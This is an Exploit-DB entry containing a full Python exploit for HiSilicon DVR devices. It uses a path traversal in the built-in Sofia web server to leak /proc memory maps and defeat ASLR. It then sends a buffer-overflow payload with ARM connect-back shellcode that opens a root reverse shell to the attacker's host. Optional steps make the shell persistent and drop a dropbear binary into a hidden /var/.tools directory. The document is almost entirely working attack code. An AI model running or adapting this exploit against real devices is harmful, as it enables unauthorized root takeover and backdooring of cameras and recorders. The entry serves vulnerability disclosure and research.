HiSilicon DVR Devices - Remote Code Execution

EDB-ID:

44004

CVE:

N/A




Platform:

Hardware

Date:

2017-09-07


#!/usr/bin/env python2
#
# pwn hisilicon dvr web service
#

from pwn import *
from time import sleep
import re
import argparse
import os

parser = argparse.ArgumentParser(description='exploit HiSilicon DVR devices')
parser.add_argument('--rhost', help='target host', required=True)
parser.add_argument('--rport', help='target port', default=80)
parser.add_argument('--lhost', help='connectback ip', required=True)
parser.add_argument('--lport', help='connectback port', default=31337)
parser.add_argument('--bhost', help='listen ip to bind (default: connectback)')
parser.add_argument('--bport', help='listen port to bind (default: connectback)')
parser.add_argument('-n', '--nolisten', help='do not start listener (you should care about connectback listener on your own)', action='store_true')
parser.add_argument('-i', '--interactive', help='select stack memory region interactively (rather than using autodetection)', action='store_true')
parser.add_argument('-p', '--persistent', help='make connectback shell persistent by restarting dvr app automatically (DANGEROUS!)', action='store_true')
parser.add_argument('-u', '--upload', help='upload tools (now hardcoded "./tools/dropbear" in script) after pwn', action='store_true')
parser.add_argument('--offset', help='exploit param stack offset to mem page base (default: 0x7fd3d8)', default=0x7fd3d8)
parser.add_argument('--cmdline', help='cmdline of Sofia binary on remote target (default "/var/Sofia")', default='/var/Sofia')

args = parser.parse_args()

target_host = args.rhost
target_port = int(args.rport)

sofia_cmdline = args.cmdline

if args.interactive:
    getleak_interactive = True
else:
    getleak_interactive = False

if args.persistent:
    shell_persistent = True
else:
    shell_persistent = False

if args.upload:
    shell_upload = True
else:
    shell_upload = False
    
connectback_host = args.lhost
connectback_port = int(args.lport)

if args.bhost:
    listen_host = args.bhost
else:
    listen_host = connectback_host
if args.bport:
    listen_port = int(args.bport)
else:
    listen_port = connectback_port


"""
vuln1: bof in httpd
-------------------
buffer overflow in builtin webserver binary `Sofia`
which can be exploited to run shellcode (as root) on the device.

PoC payload to cause a segfault:
payload = "GET " + "a"*299 + "xxxx" + " HTTP"

note, that in "xxxx" we can control pc register (program flow)!

there is no nx enabled, so executing shellcode in place of "a"*299
is possible. however, stack address leak is needed to defeat aslr.

vuln2: path traversal vuln in httpd
-----------------------------------
builtin webserver has a directory path traversal vulnerability
which can be exploited to leak arbitrary files.
note, that the webserver binary `Sofia` is running as root,
so exploiting this arbitrary file can be read from device fs.

PoC request "GET ../../etc/passwd HTTP" reads file "/etc/passwd".
Furthermore, dir listing is enabled as well.

by exploiting vuln2 we can defeat aslr needed to exploit vuln1.
namely, filesystem at /proc contains lots of information
about running processes, e.g. contains memory mappings:
request "GET ../../proc/[pid]/maps HTTP" reads memory
mapping of process with pid [pid]. obverving the memory
mapping patterns usually enough to defeat aslr (offset
from mem map base is the same, even in different versions).
"""

# get pid of running dvr binary '/var/Sofia'
def findpid():
    with log.progress('getting pidlist') as logp:
        c = context.log_level
        context.log_level = 'error'
        r = remote(target_host, target_port)
        r.sendline('GET ../../proc HTTP')
        pids = []
        for line in r.recvall().splitlines():
            res = re.match(r'.*\.\./\.\./proc/([0-9]+)"', line)
            if res:
                pids.append(int(res.group(1)))
        r.close()
        context.log_level = c
        logp.success('found %d processes' % len(pids))

    with log.progress("searching for PID of '%s'" % sofia_cmdline) as logp:
        pid_sofia = None
        pids.sort(reverse=True)
        for pid in pids:
            logp.status(str(pid))
            c = context.log_level
            context.log_level = 'error'
            r = remote(target_host, target_port)
            r.sendline('GET ../../proc/%d/cmdline HTTP' % pid)
            resp = r.recvall().splitlines()
            r.close()
            context.log_level = c
            if sofia_cmdline + '\x00' == resp[-1]:
                pid_sofia = pid
                logp.success(str(pid_sofia))
                break
        if not pid_sofia:
            logp.failure('did not found')

    return pid_sofia

def getmodelnumber():
    c = context.log_level
    context.log_level = 'error'
    r = remote(target_host, target_port)
    r.sendline('GET ../../mnt/custom/ProductDefinition HTTP')
    for l in r.recvall(timeout=5).decode('ascii').replace(',', '\n').splitlines():
        if "Hardware" in l:
            modelnumber = l.split(":")[1].split('"')[1]
    r.close()
    context.log_level = c
    return modelnumber

def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)

# getting stack section base address
# 'k' defines the section which contains the stack
def getleak(pid, interactive):
    with log.progress("getting stack section base") as logp:
        c = context.log_level
        context.log_level = 'error'
        r = remote(target_host, target_port)
        r.sendline('GET ../../proc/%d/smaps HTTP' % pid)
        smaps = []
        memStart = False
        for line in r.recvall().splitlines():
            if memStart:
                t += (int(line.split()[1]),)
                i += 1
                #if i >= 14:
                if i >= 7:
                    smaps.append((memStart, t))
                    memStart = False
            if 'rwxp' in line:
                memStart = int(line.split('-')[0], 16)
                i = 0
                t = ()
        guess = guessregion(smaps)
        if guess < 0 or interactive:
            j = 0
            for i in smaps:
                print (j, hex(i[0]), i[1:])
                j += 1
            k = int(raw_input('enter stack region id (guessed value = %d): ' % guess))
        else:
            k = guess
        leak = smaps[k][0]
        r.close()
        context.log_level = c
        logp.success(hex(leak))
    return leak

# connectback shellcode
# badchars: 0x00, 0x0d, 0x20, 0x3f, 0x26
def shellcode(lhost, lport):
    badchars = [0x00, 0x0d, 0x20, 0x3f, 0x26]
    badchars = map(chr, badchars)

    xscode  = "01108fe211ff"
    xscode += "2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba10223"
    xscode += "0b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b4"
    xscode += "69460b2701df0121081c01dfc046ffff7a69c0a858642f62696e2f736858"
    xscode += "ffffc046efbeadde"
    
    h = lambda x: hex(int(x))[2:]
    h2 = lambda x: h(x).zfill(2)
    xscode = xscode[:164] + h(lport+0x100).zfill(4) + ''.join(map(h2, lhost.split('.'))) + xscode[176:]
    xscode = xscode.decode('hex')
    for badchar in badchars:
        if badchar in xscode:
            raise NameError('badchar %s in shellcode!' % hex(ord(badchar)))
    return xscode

def restart_dvrapp(c):
    with log.progress('restarting dvr application') as logp:
        logp.status('looking up dvrhelper process')
        c.sendline('ps')
        cmdline = ''
        while not 'dvrHelper' in cmdline:
            cmdline = c.recvline()
        cmdline = cmdline.split()
        while not 'ps' in c.recvline():
            pass
        sleep(1)
        logp.status('killing dvrhelper')
        c.sendline('kill %s' % cmdline[0])
        sleep(1)
        cmdline_dvrhelper = ' '.join(cmdline[4:])
        logp.status('starting dvrhelper: %s' % cmdline_dvrhelper)
        c.sendline(cmdline_dvrhelper + ' 2>/dev/null &')
        sleep(1)
        c.recvuntil(sofia_cmdline)
        c.recvline()

def upload_tools(c):
    with log.progress('uploading tools to /var/.tools') as logp:
        logp.status('creating dir')
        c.sendline('rm -fr /var/.tools')
        sleep(1)
        c.sendline('mkdir /var/.tools')
        sleep(1)
        tools = ['dropbear']
        upload_blocksize = 1024
        for tool in tools:
            toolsize = os.path.getsize('./tools/%s' % tool)
            b = 0
            fp = open("./tools/%s" % tool, "rb")
            for chunk in iter(lambda: fp.read(upload_blocksize), ''):
                chunkhex = ''.join(['\\x'+chunk.encode('hex')[i:i+2].zfill(2) for i in range(0, len(chunk)*2, 2)])
                c.sendline("echo -n -e '%s' >> /var/.tools/%s" % (chunkhex, tool))
                b += len(chunk)
                logp.status('%s: %d/%d' % (tool, b, toolsize))
                sleep(0.1)
            fp.close()
            c.sendline('chmod +x /var/.tools/%s' % tool)
            sleep(1)
        logp.success(' '.join(tools))
        
log.info('target is %s:%d' % (target_host, target_port))

if not args.nolisten:
    log.info('connectback on %s:%d' % (listen_host, listen_port))

with log.progress("assembling shellcode") as logp:
    xscode = shellcode(connectback_host, connectback_port)
    logp.success("done. length is %d bytes" % len(xscode))

with log.progress("identifying model number") as logp:
    modelnumber = getmodelnumber()
    logp.success(modelnumber)
    
log.info('exploiting dir path traversal of web service to get leak addresses')
stack_section_base = getleak(findpid(), getleak_interactive)
stack_offset = args.offset
stack_20 = stack_section_base + stack_offset + 20

log.info('shellcode address is ' + hex(stack_20))

payload  = "GET "
payload += xscode
payload += "a" * (299 - len(xscode))
payload += p32(stack_20)
payload += " HTTP"

log.info('exploiting buffer overflow in web service url path')
log.info('remote shell should gained by connectback shellcode!')

if not args.nolisten:
    l = listen(bindaddr=listen_host, port=listen_port, timeout=5)
    c = l.wait_for_connection()

r = remote(target_host, target_port)
r.sendline(payload)
r.recvall(timeout=5)
r.close()

if not args.nolisten:
    if shell_persistent:
        restart_dvrapp(c)

    if shell_upload:
        upload_tools(c)
    
    c.interactive()